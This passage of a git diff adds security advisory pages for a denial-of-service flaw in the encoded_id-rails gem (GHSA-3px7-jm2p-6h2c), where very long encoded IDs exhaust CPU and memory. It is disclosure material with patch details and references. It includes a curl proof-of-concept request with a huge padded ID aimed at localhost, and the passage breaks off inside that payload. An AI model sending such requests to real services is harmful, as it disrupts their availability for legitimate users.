aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+    ```
+
+    This causes the application to spend a huge amount of time decoding
+    the ID and the allocation of > 200MB of objects.
+
+    ### Patches
+
+    Upgrade to `1.0.0.beta2`
+
+    This introduces a new option to limit the length of IDs that can
+    be decoded. A future release will also improve the performance and
+    hugely reduce allocations in the underlying hashids implementation.
+
+    ### References
+    _Are there any links users can visit to find out more?_
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.0.0.beta2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-0241
+    - https://github.com/stevegeek/encoded_id-rails/security/advisories/GHSA-3px7-jm2p-6h2c
+    - https://github.com/stevegeek/encoded_id-rails/commit/afa495a77b8a21ad582611f9cdc2081dc4018b91
+    - https://github.com/advisories/GHSA-3px7-jm2p-6h2c
+---
diff --git a/advisories/_posts/2023-10-24-GHSA-3px7-jm2p-6h2c.md b/advisories/_posts/2023-10-24-GHSA-3px7-jm2p-6h2c.md
new file mode 100644
index 00000000..866ccf6c
--- /dev/null
+++ b/advisories/_posts/2023-10-24-GHSA-3px7-jm2p-6h2c.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'GHSA-3px7-jm2p-6h2c (encoded_id-rails): encoded_id-rails potential DOS vulnerability
+  due to URIs with extremely long encoded IDs'
+comments: false
+categories:
+- encoded_id-rails
+advisory:
+  gem: encoded_id-rails
+  ghsa: 3px7-jm2p-6h2c
+  url: https://github.com/stevegeek/encoded_id-rails/releases/tag/1.0.0.beta2
+  title: encoded_id-rails potential DOS vulnerability due to URIs with extremely long
+    encoded IDs
+  date: 2023-10-24
+  description: |
+    ### Impact
+
+    The length of URIs and the various parts (eg path segments, query
+    parameters) is usually limited by the webserver processing the
+    incoming request. In the case of Puma the defaults are :
+
+    - path segment length: 8192
+    - Max URI length: 1024 * 12
+    - Max query length: 1024 * 10
+
+    See https://github.com/puma/puma/blob/master/docs/compile_options.md
+
+    If too long Puma raises:
+    > Puma caught this error: HTTP element REQUEST_PATH is longer than
+    > the (8192) allowed length (was 12503) (Puma::HttpParserError)
+
+    However due to the performance of `hashids` extremely long encoded
+    IDs will consume a large amount of CPU and allocate a huge number
+    of intermediate objects.
+
+    For example:
+
+    ```
+    curl -vvv https://localhost.ssl:3000//dos?id=abcd-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa